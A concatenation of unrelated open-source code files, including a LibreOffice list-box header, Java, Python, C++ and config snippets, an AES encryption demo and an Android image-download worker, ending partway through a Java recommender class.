const Image&, SvLBoxButtonKind ); String GetTabEntryText( sal_uLong nPos, sal_uInt16 nCol ) const; SvLBoxEntry* GetEntryOnPos( sal_uLong _nEntryPos ) const; SvLBoxEntry* GetChildOnPos( SvLBoxEntry* _pParent, sal_uLong _nEntryPos, sal_uLong& _rPos ) const; public: SvTabListBox( Window* pParent, WinBits = WB_BORDER ); SvTabListBox( Window* pParent, const ResId& ); ~SvTabListBox(); void SetTabs( long* pTabs, MapUnit = MAP_APPFONT ); sal_uInt16 TabCount() const { return (sal_uInt16)nTabCount; } using SvTreeListBox::GetTab; long GetTab( sal_uInt16 nTab ) const; void SetTab( sal_uInt16 nTab, long nValue, MapUnit = MAP_APPFONT ); long GetLogicTab( sal_uInt16 nTab ); virtual SvLBoxEntry* InsertEntry( const XubString& rText, SvLBoxEntry* pParent = 0, sal_Bool bChildsOnDemand = sal_False, sal_uLong nPos=LIST_APPEND, void* pUserData = 0, SvLBoxButtonKind eButtonKind = SvLBoxButtonKind_enabledCheckbox ); virtual SvLBoxEntry* InsertEntry( const XubString& rText, const Image& rExpandedEntryBmp, const Image& rCollapsedEntryBmp, SvLBoxEntry* pParent = 0, sal_Bool bChildsOnDemand = sal_False, sal_uLong nPos = LIST_APPEND, void* pUserData = 0, SvLBoxButtonKind eButtonKind = SvLBoxButtonKind_enabledCheckbox ); virtual SvLBoxEntry* InsertEntryToColumn( const XubString&, sal_uLong nPos = LIST_APPEND, sal_uInt16 nCol = 0xffff, void* pUserData = NULL ); virtual SvLBoxEntry* InsertEntryToColumn( const XubString&, SvLBoxEntry* pParent, sal_uLong nPos, sal_uInt16 nCol, void* pUserData = NULL ); virtual SvLBoxEntry* InsertEntryToColumn( const XubString&, const Image& rExpandedEntryBmp, const Image& rCollapsedEntryBmp, SvLBoxEntry* pParent = NULL, sal_uLong nPos = LIST_APPEND, sal_uInt16 nCol = 0xffff, void* pUserData = NULL ); virtual String GetEntryText( SvLBoxEntry* pEntry ) const; String GetEntryText( SvLBoxEntry*, sal_uInt16 nCol ) const; String GetEntryText( sal_uLong nPos, sal_uInt16 nCol = 0xffff ) const; using SvTreeListBox::SetEntryText; void SetEntryText( const XubString&, sal_uLong, sal_uInt16 nCol=0xffff ); void SetEntryText(const XubString&,SvLBoxEntry*,sal_uInt16 nCol=0xffff); String GetCellText( sal_uLong nPos, sal_uInt16 nCol ) const; sal_uLong GetEntryPos( const XubString&, sal_uInt16 nCol = 0xffff ); sal_uLong GetEntryPos( const SvLBoxEntry* pEntry ) const; virtual void Resize(); void SetTabJustify( sal_uInt16 nTab, SvTabJustify ); SvTabJustify GetTabJustify( sal_uInt16 nTab ) const; }; inline long SvTabListBox::GetTab( sal_uInt16 nTab ) const { DBG_ASSERT( nTab < nTabCount, "GetTabPos:Invalid Tab" ); return pTabList[nTab].GetPos(); } // class SvHeaderTabListBox --------------------------------------------------- class HeaderBar; namespace svt { class AccessibleTabListBox; class IAccessibleTabListBox; struct SvHeaderTabListBoxImpl; } class SVT_DLLPUBLIC SvHeaderTabListBox : public SvTabListBox, public svt::IAccessibleTableProvider { private: typedef ::std::vector< ::com::sun::star::uno::Reference< ::com::sun::star::accessibility::XAccessible > > AccessibleChildren; sal_Bool m_bFirstPaint; ::svt::SvHeaderTabListBoxImpl* m_pImpl; ::svt::IAccessibleTabListBox* m_pAccessible; AccessibleChildren m_aAccessibleChildren; DECL_DLLPRIVATE_LINK( ScrollHdl_Impl, SvTabListBox* ); DECL_DLLPRIVATE_LINK( CreateAccessibleHdl_Impl, HeaderBar* ); void RecalculateAccessibleChildren(); public: SvHeaderTabListBox( Window* pParent, WinBits nBits ); SvHeaderTabListBox( Window* pParent, const ResId& ); ~SvHeaderTabListBox(); virtual void Paint( const Rectangle& ); void InitHeaderBar( HeaderBar* pHeaderBar ); sal_Bool IsItemChecked( SvLBoxEntry* pEntry, sal_uInt16 nCol ) const; virtual SvLBoxEntry* InsertEntryToColumn( const XubString&, sal_uLong nPos = LIST_APPEND, sal_uInt16 nCol = 0xffff, void* pUserData = NULL ); virtual SvLBoxEntry* InsertEntryToColumn( const XubString&, SvLBoxEntry* pParent, sal_uLong nPos, sal_uInt16 nCol, void* pUserData = NULL ); virtual SvLBoxEntry* InsertEntryToColumn( const XubString&, const Image& rExpandedEntryBmp, const Image& rCollapsedEntryBmp, SvLBoxEntry* pParent = NULL, sal_uLong nPos = LIST_APPEND, sal_uInt16 nCol = 0xffff, void* pUserData = NULL ); virtual sal_uLong Insert( SvLBoxEntry* pEnt,SvLBoxEntry* pPar,sal_uLong nPos=LIST_APPEND); virtual sal_uLong Insert( SvLBoxEntry* pEntry, sal_uLong nRootPos = LIST_APPEND ); void RemoveEntry( SvLBoxEntry* _pEntry ); void Clear(); // Accessible ------------------------------------------------------------- inline void DisableTransientChildren() { SetChildrenNotTransient(); } inline sal_Bool IsTransientChildrenDisabled() const { return !AreChildrenTransient(); } sal_Bool IsCellCheckBox( long _nRow, sal_uInt16 _nColumn, TriState& _rState ); /** @return The count of the rows. */ virtual long GetRowCount() const; /** @return The count of the columns. */ virtual sal_uInt16 GetColumnCount() const; /** @return The position of the current row. */ virtual sal_Int32 GetCurrRow() const; /** @return The position of the current column. */ virtual sal_uInt16 GetCurrColumn() const; /** @return The description of a row. @param _nRow The row which description is in demand. */ virtual ::rtl::OUString GetRowDescription( sal_Int32 _nRow ) const; /** @return The description of a column. @param _nColumn The column which description is in demand. */ virtual ::rtl::OUString GetColumnDescription( sal_uInt16 _nColumn ) const; /** @return <TRUE/>, if the object has a row header. */ virtual sal_Bool HasRowHeader() const; //GetColumnId /** @return <TRUE/>, if the object can focus a cell. */ virtual sal_Bool IsCellFocusable() const; virtual sal_Bool GoToCell( sal_Int32 _nRow, sal_uInt16 _nColumn ); virtual void SetNoSelection(); using SvListView::SelectAll; virtual void SelectAll(); virtual void SelectAll( sal_Bool bSelect, sal_Bool bPaint = sal_True ); virtual void SelectRow( long _nRow, sal_Bool _bSelect = sal_True, sal_Bool bExpand = sal_True ); virtual void SelectColumn( sal_uInt16 _nColumn, sal_Bool _bSelect = sal_True ); virtual sal_Int32 GetSelectedRowCount() const; virtual sal_Int32 GetSelectedColumnCount() const; /** @return <TRUE/>, if the row is selected. */ virtual bool IsRowSelected( long _nRow ) const; virtual sal_Bool IsColumnSelected( long _nColumn ) const; virtual void GetAllSelectedRows( ::com::sun::star::uno::Sequence< sal_Int32 >& _rRows ) const; virtual void GetAllSelectedColumns( ::com::sun::star::uno::Sequence< sal_Int32 >& _rColumns ) const; /** @return <TRUE/>, if the cell is visible. */ virtual sal_Bool IsCellVisible( sal_Int32 _nRow, sal_uInt16 _nColumn ) const; virtual String GetAccessibleCellText( long _nRow, sal_uInt16 _nColumnPos ) const; virtual Rectangle calcHeaderRect( sal_Bool _bIsColumnBar, sal_Bool _bOnScreen = sal_True ); virtual Rectangle calcTableRect( sal_Bool _bOnScreen = sal_True ); virtual Rectangle GetFieldRectPixelAbs( sal_Int32 _nRow, sal_uInt16 _nColumn, sal_Bool _bIsHeader, sal_Bool _bOnScreen = sal_True ); virtual XACC CreateAccessibleCell( sal_Int32 _nRow, sal_uInt16 _nColumn ); virtual XACC CreateAccessibleRowHeader( sal_Int32 _nRow ); virtual XACC CreateAccessibleColumnHeader( sal_uInt16 _nColumnPos ); virtual sal_Int32 GetAccessibleControlCount() const; virtual XACC CreateAccessibleControl( sal_Int32 _nIndex ); virtual sal_Bool ConvertPointToControlIndex( sal_Int32& _rnIndex, const Point& _rPoint ); virtual sal_Bool ConvertPointToCellAddress( sal_Int32& _rnRow, sal_uInt16& _rnColPos, const Point& _rPoint ); virtual sal_Bool ConvertPointToRowHeader( sal_Int32& _rnRow, const Point& _rPoint ); virtual sal_Bool ConvertPointToColumnHeader( sal_uInt16& _rnColPos, const Point& _rPoint ); virtual ::rtl::OUString GetAccessibleObjectName( ::svt::AccessibleBrowseBoxObjType _eType, sal_Int32 _nPos = -1 ) const; virtual ::rtl::OUString GetAccessibleObjectDescription( ::svt::AccessibleBrowseBoxObjType _eType, sal_Int32 _nPos = -1 ) const; virtual Window* GetWindowInstance(); using SvTreeListBox::FillAccessibleStateSet; virtual void FillAccessibleStateSet( ::utl::AccessibleStateSetHelper& _rStateSet, ::svt::AccessibleBrowseBoxObjType _eType ) const; virtual void FillAccessibleStateSetForCell( ::utl::AccessibleStateSetHelper& _rStateSet, sal_Int32 _nRow, sal_uInt16 _nColumn ) const; virtual void GrabTableFocus(); // OutputDevice virtual sal_Bool GetGlyphBoundRects( const Point& rOrigin, const String& rStr, int nIndex, int nLen, int nBase, MetricVector& rVector ); // Window virtual Rectangle GetWindowExtentsRelative( Window *pRelativeWindow ) const; virtual void GrabFocus(); virtual XACC GetAccessible( sal_Bool bCreate = sal_True ); virtual Window* GetAccessibleParentWindow() const; /** Creates and returns the accessible object of the whole BrowseBox. */ virtual XACC CreateAccessible(); virtual Rectangle GetFieldCharacterBounds(sal_Int32 _nRow,sal_Int32 _nColumnPos,sal_Int32 nIndex); virtual sal_Int32 GetFieldIndexAtPoint(sal_Int32 _nRow,sal_Int32 _nColumnPos,const Point& _rPoint); }; #endif // #ifndef _SVTABBX_HXX
4,832
6,270
[ { "type": "feature", "category": "EC2", "description": "This release adds support for UEFI boot on selected AMD- and Intel-based EC2 instances." }, { "type": "feature", "category": "Macie2", "description": "This release of the Amazon Macie API adds support for publishing sensitive data findings to AWS Security Hub and specifying which categories of findings to publish to Security Hub." }, { "type": "feature", "category": "Redshift", "description": "Added support to enable AQUA in Amazon Redshift clusters." } ]
221
454
<gh_stars>100-1000 package io.vertx.tp.plugin.jooq.condition.date; import io.vertx.tp.plugin.jooq.condition.Term; import io.vertx.up.util.Ut; import org.jooq.Condition; import org.jooq.Field; import java.time.LocalDate; import java.util.Date; import java.util.function.Supplier; public abstract class AbstractDTerm implements Term { protected LocalDate toDate(final Object value) { final Date instance = (Date) value; return Ut.toDate(instance.toInstant()); } @SuppressWarnings("all") protected Condition toDate(final Field field, final Supplier<Condition> dateSupplier, final Supplier<Condition> otherSupplier) { final Class<?> type = field.getType(); if (LocalDate.class == type) { return dateSupplier.get(); } else { return otherSupplier.get(); } } }
357
3,097
// // YPLiveViewController.h // Wuxianda // // Created by MichaelPPP on 16/6/8. // Copyright © 2016年 michaelhuyp. All rights reserved. // 直播控制器 #import <UIKit/UIKit.h> @interface YPLiveViewController : UIViewController @end
101
831
/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.tools.idea.observable.expressions.list; import com.android.tools.idea.observable.collections.ObservableList; import com.android.tools.idea.observable.expressions.Expression; import java.util.List; /** * Base class for List expressions, converting a source {@link ObservableList} into a target * {@link List}. * @param <S> The type of the elements in the source list * @param <D> The type of the elements in the final destination list */ public abstract class ListExpression<S, D> extends Expression<List<? extends D>> { protected ListExpression(ObservableList<? extends S> sourceList) { super(sourceList); } }
353
1,345
<reponame>MaksHess/napari<filename>napari/_qt/menus/window_menu.py from typing import TYPE_CHECKING from ...utils.translations import trans from ._util import NapariMenu, populate_menu if TYPE_CHECKING: from ..qt_main_window import Window class WindowMenu(NapariMenu): def __init__(self, window: 'Window'): super().__init__(trans._('&Window'), window._qt_window) ACTIONS = [] populate_menu(self, ACTIONS)
162
317
// // refract/dsd/String.cc // librefract // // Created by <NAME> on 04/09/2017 // Copyright (c) 2017 Apiary Inc. All rights reserved. // #include "String.h" #include "Traits.h" using namespace refract; using namespace dsd; const char* String::name = "string"; static_assert(!supports_erase<String>::value, ""); static_assert(!supports_empty<String>::value, ""); static_assert(!supports_insert<String>::value, ""); static_assert(!supports_push_back<String>::value, ""); static_assert(!supports_begin<String>::value, ""); static_assert(!supports_end<String>::value, ""); static_assert(!supports_size<String>::value, ""); static_assert(!supports_erase<String>::value, ""); static_assert(!supports_key<String>::value, ""); static_assert(!supports_value<String>::value, ""); static_assert(!supports_merge<String>::value, ""); static_assert(!is_iterable<String>::value, ""); static_assert(!is_pair<String>::value, ""); String::String(std::string s) noexcept : value_(std::move(s)) {} bool dsd::operator==(const String& lhs, const String& rhs) noexcept { return lhs.get() == rhs.get(); } bool dsd::operator!=(const String& lhs, const String& rhs) noexcept { return !(lhs == rhs); }
443
16,989
<reponame>jobechoi/bazel // Copyright 2015 The Bazel Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package com.google.devtools.build.lib.skyframe; import com.google.common.base.Preconditions; import com.google.devtools.build.lib.cmdline.Label; import com.google.devtools.build.lib.cmdline.ResolvedTargets; import com.google.devtools.build.lib.concurrent.ThreadSafety.Immutable; import com.google.devtools.build.lib.concurrent.ThreadSafety.ThreadSafe; import com.google.devtools.build.lib.packages.Target; import com.google.devtools.build.lib.packages.TargetUtils; import com.google.devtools.build.lib.skyframe.serialization.NotSerializableRuntimeException; import com.google.devtools.build.skyframe.SkyFunctionName; import com.google.devtools.build.skyframe.SkyKey; import com.google.devtools.build.skyframe.SkyValue; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Objects; /** * A value referring to a computed set of resolved targets. This is used for the results of target * pattern parsing. */ @Immutable @ThreadSafe final class TestExpansionValue implements SkyValue { private ResolvedTargets<Label> labels; TestExpansionValue(ResolvedTargets<Label> labels) { this.labels = Preconditions.checkNotNull(labels); } public ResolvedTargets<Label> getLabels() { return labels; } @SuppressWarnings("unused") private void writeObject(ObjectOutputStream out) { throw new NotSerializableRuntimeException(); } @SuppressWarnings("unused") private void readObject(ObjectInputStream in) { throw new NotSerializableRuntimeException(); } @SuppressWarnings("unused") private void readObjectNoData() { throw new IllegalStateException(); } /** * Create a target pattern value key. * * @param target the target to be expanded */ @ThreadSafe public static SkyKey key(Target target, boolean strict) { Preconditions.checkState(TargetUtils.isTestSuiteRule(target)); return new TestExpansionKey(target.getLabel(), strict); } /** A list of targets of which all test suites should be expanded. */ @ThreadSafe static final class TestExpansionKey implements SkyKey, Serializable { private final Label label; private final boolean strict; public TestExpansionKey(Label label, boolean strict) { this.label = label; this.strict = strict; } @Override public SkyFunctionName functionName() { return SkyFunctions.TESTS_IN_SUITE; } public Label getLabel() { return label; } public boolean isStrict() { return strict; } @Override public String toString() { return "TestsInSuite(" + label + ", strict=" + strict + ")"; } @Override public int hashCode() { return Objects.hash(label, strict); } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (!(obj instanceof TestExpansionKey)) { return false; } TestExpansionKey other = (TestExpansionKey) obj; return other.label.equals(label) && other.strict == strict; } } }
1,192
1,144
/* SPDX-License-Identifier: GPL-2.0+ */ /* * (C) Copyright 2009 * <NAME>, STMicroelectronics, <<EMAIL>> */ #ifndef __CONFIG_H #define __CONFIG_H /* * High Level Configuration Options * (easy to change) */ #if defined(CONFIG_USBTTY) #define CONFIG_SPEAR_USBTTY #endif #include <configs/spear-common.h> /* Serial Configuration (PL011) */ #define CONFIG_SYS_SERIAL0 0xD0000000 #define CONFIG_SYS_SERIAL1 0xD0080000 #define CONFIG_PL01x_PORTS { (void *)CONFIG_SYS_SERIAL0, \ (void *)CONFIG_SYS_SERIAL1 } /* NAND flash configuration */ #define CONFIG_SYS_FSMC_NAND_SP #define CONFIG_SYS_FSMC_NAND_8BIT #define CONFIG_SYS_NAND_BASE 0xD2000000 /* Ethernet PHY configuration */ #define CONFIG_PHY_NATSEMI /* Environment Settings */ #define CONFIG_EXTRA_ENV_SETTINGS CONFIG_EXTRA_ENV_USBTTY #endif /* __CONFIG_H */
352
348
<reponame>chamberone/Leaflet.PixiOverlay {"nom":"Saint-Géraud","circ":"2ème circonscription","dpt":"Lot-et-Garonne","inscrits":60,"abs":19,"votants":41,"blancs":7,"nuls":2,"exp":32,"res":[{"nuance":"FN","nom":"<NAME>","voix":16},{"nuance":"REM","nom":"M. <NAME>","voix":16}]}
116
575
<filename>services/cert_verifier/system_trust_store_provider_chromeos.cc<gh_stars>100-1000 // Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "services/cert_verifier/system_trust_store_provider_chromeos.h" #include <pk11pub.h> #include <utility> #include "net/cert/internal/system_trust_store_nss.h" namespace cert_verifier { SystemTrustStoreProviderChromeOS::SystemTrustStoreProviderChromeOS() {} SystemTrustStoreProviderChromeOS::SystemTrustStoreProviderChromeOS( crypto::ScopedPK11Slot user_slot) : user_slot_(std::move(user_slot)) {} SystemTrustStoreProviderChromeOS::~SystemTrustStoreProviderChromeOS() = default; std::unique_ptr<net::SystemTrustStore> SystemTrustStoreProviderChromeOS::CreateSystemTrustStore() { if (user_slot_) { auto user_slot_copy = crypto::ScopedPK11Slot(PK11_ReferenceSlot(user_slot_.get())); return net::CreateSslSystemTrustStoreNSSWithUserSlotRestriction( std::move(user_slot_copy)); } return net::CreateSslSystemTrustStoreNSSWithNoUserSlots(); } } // namespace cert_verifier
393
384
# Generated by Django 3.1.6 on 2021-03-26 12:32 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('exporter', '0002_exporter_app_name'), ('user', '0001_initial'), ] operations = [ migrations.AddField( model_name='user', name='added_exporters', field=models.ManyToManyField(related_name='added_users', through='user.Bucket', to='exporter.Exporter'), ), migrations.AddField( model_name='user', name='github_token', field=models.CharField(max_length=100, null=True), ), migrations.AddField( model_name='user', name='stared_exporters', field=models.ManyToManyField(related_name='starred_users', through='user.Star', to='exporter.Exporter'), ), migrations.AlterField( model_name='user', name='username', field=models.CharField(max_length=45, unique=True), ), ]
492
577
package com.jhomlala.better_player; import android.content.Context; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.net.Uri; import android.util.Log; import androidx.annotation.NonNull; import androidx.work.Data; import androidx.work.Worker; import androidx.work.WorkerParameters; import java.io.FileOutputStream; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; public class ImageWorker extends Worker { private static final String TAG = "ImageWorker"; private static final String IMAGE_EXTENSION = ".png"; private static final int DEFAULT_NOTIFICATION_IMAGE_SIZE_PX = 256; public ImageWorker( @NonNull Context context, @NonNull WorkerParameters params) { super(context, params); } @NonNull @Override public Result doWork() { try { String imageUrl = getInputData().getString(BetterPlayerPlugin.URL_PARAMETER); if (imageUrl == null) { return Result.failure(); } Bitmap bitmap = null; if (DataSourceUtils.isHTTP(Uri.parse(imageUrl))) { bitmap = getBitmapFromExternalURL(imageUrl); } else { bitmap = getBitmapFromInternalURL(imageUrl); } String fileName = imageUrl.hashCode() + IMAGE_EXTENSION; String filePath = getApplicationContext().getCacheDir().getAbsolutePath() + fileName; if (bitmap == null) { return Result.failure(); } FileOutputStream out = new FileOutputStream(filePath); bitmap.compress(Bitmap.CompressFormat.PNG, 100, out); Data data = new Data.Builder().putString(BetterPlayerPlugin.FILE_PATH_PARAMETER, filePath).build(); return Result.success(data); } catch (Exception e) { e.printStackTrace(); return Result.failure(); } } private Bitmap getBitmapFromExternalURL(String src) { InputStream inputStream = null; try { URL url = new URL(src); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); inputStream = connection.getInputStream(); final BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; BitmapFactory.decodeStream(inputStream, null, options); inputStream.close(); connection = (HttpURLConnection) url.openConnection(); inputStream = connection.getInputStream(); options.inSampleSize = calculateBitmapInSampleSize( options); options.inJustDecodeBounds = false; return BitmapFactory.decodeStream(inputStream, null, options); } catch (Exception exception) { Log.e(TAG, "Failed to get bitmap from external url: " + src); return null; } finally { try { if (inputStream != null) { inputStream.close(); } } catch (Exception exception) { Log.e(TAG, "Failed to close bitmap input stream/"); } } } private int calculateBitmapInSampleSize( BitmapFactory.Options options) { final int height = options.outHeight; final int width = options.outWidth; int inSampleSize = 1; if (height > ImageWorker.DEFAULT_NOTIFICATION_IMAGE_SIZE_PX || width > ImageWorker.DEFAULT_NOTIFICATION_IMAGE_SIZE_PX) { final int halfHeight = height / 2; final int halfWidth = width / 2; while ((halfHeight / inSampleSize) >= ImageWorker.DEFAULT_NOTIFICATION_IMAGE_SIZE_PX && (halfWidth / inSampleSize) >= ImageWorker.DEFAULT_NOTIFICATION_IMAGE_SIZE_PX) { inSampleSize *= 2; } } return inSampleSize; } private Bitmap getBitmapFromInternalURL(String src) { try { final BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; options.inSampleSize = calculateBitmapInSampleSize(options ); options.inJustDecodeBounds = false; return BitmapFactory.decodeFile(src); } catch (Exception exception) { Log.e(TAG, "Failed to get bitmap from internal url: " + src); return null; } } }
2,005
3,182
package de.plushnikov.findusages; import java.time.LocalDateTime; interface StartEndable{ LocalDateTime getStart(); LocalDateTime getEnd(); }
48
395
<filename>include/lighttpd/backends.h<gh_stars>100-1000 #ifndef _LIGHTTPD_BACKENDS_H_ #define _LIGHTTPD_BACKENDS_H_ #include <lighttpd/base.h> enum liBackendResult { LI_BACKEND_SUCCESS, /* got a connection */ LI_BACKEND_WAIT, /* establishing new connection, or waiting for a free slot */ LI_BACKEND_TIMEOUT /* wait timed out, no free slots available */ }; typedef enum liBackendResult liBackendResult; typedef struct liBackendCallbacks liBackendCallbacks; typedef struct liBackendWait liBackendWait; typedef struct liBackendConnection liBackendConnection; typedef struct liBackendPool liBackendPool; typedef struct liBackendConfig liBackendConfig; typedef void (*liBackendConnectionThreadCB)(liBackendPool *bpool, liWorker *wrk, liBackendConnection *bcon); typedef void (*liBackendCB)(liBackendPool *bpool); struct liBackendConnection { liEventIO watcher; gpointer data; }; /* states: [start] ->(new)-> [INACTIVE] ->(detach)-> [detached] ->(attach)-> [INACTIVE] ->get-> [active] ->put-> [INACTIVE] ->(close)-> [done] */ /* the backend pool might be locked while the callbacks are running, but don't rely on it */ struct liBackendCallbacks { /* for moving connection between threads */ liBackendConnectionThreadCB detach_thread_cb; liBackendConnectionThreadCB attach_thread_cb; /* for initializing/shutdown */ liBackendConnectionThreadCB new_cb; liBackendConnectionThreadCB close_cb; /* free pool config */ liBackendCB free_cb; }; struct liBackendPool { /* READ ONLY CONFIGURATION DATA */ const liBackendConfig *config; }; struct liBackendConfig { const liBackendCallbacks *callbacks; liSocketAddress sock_addr; /* >0: real limit for current connections + pendings connects * <0: unlimited connections, absolute value limits the number of pending connects per worker * =0: no limit * * if there is no limit (i.e. <= 0), backend connections won't be moved between threads */ int max_connections; /* how long we wait on keep-alive connections. 0: no keep-alive; * also used for new connection we didn't use */ guint idle_timeout; /* how long we wait for connect to succeed, must be > 0; when connect fails the pool gets "disabled". */ guint connect_timeout; /* how long a vrequest is allowed to wait for a connect before we return an error. if pool gets disabled all requests fail. * if a pending connect is assigned to a vrequest wait_timeout is not active. */ guint wait_timeout; /* how long the pool stays disabled. even if this is 0, all vrequests will receive an error on disable */ guint disable_time; /* max requests per connection. -1: unlimited */ int max_requests; /* if enabled, the backend.watcher will be set to internal callback and LI_EV_READ while the connection * is not used by a vrequest; * if it sees input data it will log an error and close it, and if it sees eof it will * close it too * if you disable this you should have to handle this yourself */ gboolean watch_for_close; }; LI_API liBackendPool* li_backend_pool_new(const liBackendConfig *config); LI_API void li_backend_pool_free(liBackendPool *bpool); LI_API liBackendResult li_backend_get(liVRequest *vr, liBackendPool *bpool, liBackendConnection **pbcon, liBackendWait **pbwait); LI_API void li_backend_wait_stop(liVRequest *vr, liBackendPool *bpool, liBackendWait **pbwait); /* set bcon->fd = -1 if you closed the connection after an error */ LI_API void li_backend_put(liWorker *wrk, liBackendPool *bpool, liBackendConnection *bcon, gboolean closecon); /* if closecon == TRUE or bcon->watcher.fd == -1 the connection gets removed */ /* if an idle connections gets closed; bcon must be INACTIVE (i.e. not detached and not active). * call in worker that bcon is attached to. */ LI_API void li_backend_connection_closed(liBackendPool *bpool, liBackendConnection *bcon); #endif
1,231
9,957
<gh_stars>1000+ from Crypto.Cipher import AES from Crypto import Random from binascii import b2a_hex import sys # get the plaintext plain_text = sys.argv[1] # The key length must be 16 (AES-128), 24 (AES-192), or 32 (AES-256) Bytes. key = b'this is a 16 key' # Generate a non-repeatable key vector with a length # equal to the size of the AES block iv = Random.new().read(AES.block_size) # Use key and iv to initialize AES object, use MODE_CFB mode mycipher = AES.new(key, AES.MODE_CFB, iv) # Add iv (key vector) to the beginning of the encrypted ciphertext # and transmit it together ciphertext = iv + mycipher.encrypt(plain_text.encode()) # To decrypt, use key and iv to generate a new AES object mydecrypt = AES.new(key, AES.MODE_CFB, ciphertext[:16]) # Use the newly generated AES object to decrypt the encrypted ciphertext decrypttext = mydecrypt.decrypt(ciphertext[16:]) # output file_out = open("encrypted.bin", "wb") file_out.write(ciphertext[16:]) file_out.close() print("The key k is: ", key) print("iv is: ", b2a_hex(ciphertext)[:16]) print("The encrypted data is: ", b2a_hex(ciphertext)[16:]) print("The decrypted data is: ", decrypttext.decode())
406
1,334
<reponame>sullis/mockserver package org.mockserver.model; import org.junit.Test; import java.util.Arrays; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsInAnyOrder; import static org.mockserver.model.Header.header; import static org.mockserver.model.NottableString.string; /** * @author jamesdbloom */ public class HeaderTest { @Test public void shouldReturnValuesSetInConstructors() { // when Header firstHeader = new Header("first", "first_one", "first_two"); Header secondHeader = new Header("second", Arrays.asList("second_one", "second_two")); // then assertThat(firstHeader.getValues(), containsInAnyOrder(string("first_one"), string("first_two"))); assertThat(secondHeader.getValues(), containsInAnyOrder(string("second_one"), string("second_two"))); } @Test public void shouldReturnValueSetInStaticConstructors() { // when Header firstHeader = header("first", "first_one", "first_two"); Header secondHeader = header("second", Arrays.asList("second_one", "second_two")); // then assertThat(firstHeader.getValues(), containsInAnyOrder(string("first_one"), string("first_two"))); assertThat(secondHeader.getValues(), containsInAnyOrder(string("second_one"), string("second_two"))); } }
486
1,645
<filename>server/src/io/seldon/mf/RecentMfRecommender.java /* * Seldon -- open source prediction engine * ======================================= * * Copyright 2011-2015 Seldon Technologies Ltd and Rummble Ltd (http://www.seldon.io/) * * ******************************************************************************************** * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * ******************************************************************************************** */ package io.seldon.mf; import io.seldon.clustering.recommender.ItemRecommendationAlgorithm; import io.seldon.clustering.recommender.ItemRecommendationResultSet; import io.seldon.clustering.recommender.ItemRecommendationResultSet.ItemRecommendationResult; import io.seldon.clustering.recommender.RecommendationContext; import java.util.ArrayList; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import org.apache.commons.math.linear.ArrayRealVector; import org.apache.commons.math.linear.RealVector; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import com.google.common.collect.Ordering; @Component public class RecentMfRecommender implements ItemRecommendationAlgorithm { private static Logger logger = Logger.getLogger(RecentMfRecommender.class.getName()); private static final String name = RecentMfRecommender.class.getSimpleName(); private static final String RECENT_ACTIONS_PROPERTY_NAME = "io.seldon.algorithm.general.numrecentactionstouse"; private final MfFeaturesManager store; @Autowired public RecentMfRecommender(MfFeaturesManager store){ this.store = store; } @Override public ItemRecommendationResultSet recommend(String client, Long user, Set<Integer> dimensions, int maxRecsCount, RecommendationContext ctxt, List<Long> recentItemInteractions) { RecommendationContext.OptionsHolder opts = ctxt.getOptsHolder(); int numRecentActionsToUse = opts.getIntegerOption(RECENT_ACTIONS_PROPERTY_NAME); MfFeaturesManager.ClientMfFeaturesStore clientStore = this.store.getClientStore(client, ctxt.getOptsHolder()); if(clientStore==null) { logger.debug("Couldn't find a matrix factorization store for this client"); return new ItemRecommendationResultSet(Collections.<ItemRecommendationResult>emptyList(), name); } List<Long> itemsToScore; if(recentItemInteractions.size() > numRecentActionsToUse) { if (logger.isDebugEnabled()) logger.debug("Limiting recent items for score to size "+numRecentActionsToUse+" from present "+recentItemInteractions.size()); itemsToScore = recentItemInteractions.subList(0, numRecentActionsToUse); } else itemsToScore = new ArrayList<>(recentItemInteractions); if (logger.isDebugEnabled()) logger.debug("Recent items of size "+itemsToScore.size()+" -> "+itemsToScore.toString()); double[] userVector; if (clientStore.productFeaturesInverse != null) { //fold in user data from their recent history of item interactions logger.debug("Creating user vector by folding in features"); userVector = foldInUser(itemsToScore, clientStore.productFeaturesInverse, clientStore.idMap); } else { logger.debug("Creating user vector by averaging features"); userVector = createAvgProductVector(itemsToScore, clientStore.productFeatures); } Set<ItemRecommendationResult> recs = new HashSet<>(); if(ctxt.getMode()== RecommendationContext.MODE.INCLUSION){ // special case for INCLUSION as it's easier on the cpu. for (Long item : ctxt.getContextItems()){ if (!recentItemInteractions.contains(item)) { float[] features = clientStore.productFeatures.get(item); if(features!=null) recs.add(new ItemRecommendationResult(item, dot(features,userVector))); } } } else { for (Map.Entry<Long, float[]> productFeatures : clientStore.productFeatures.entrySet()) { Long item = productFeatures.getKey().longValue(); if 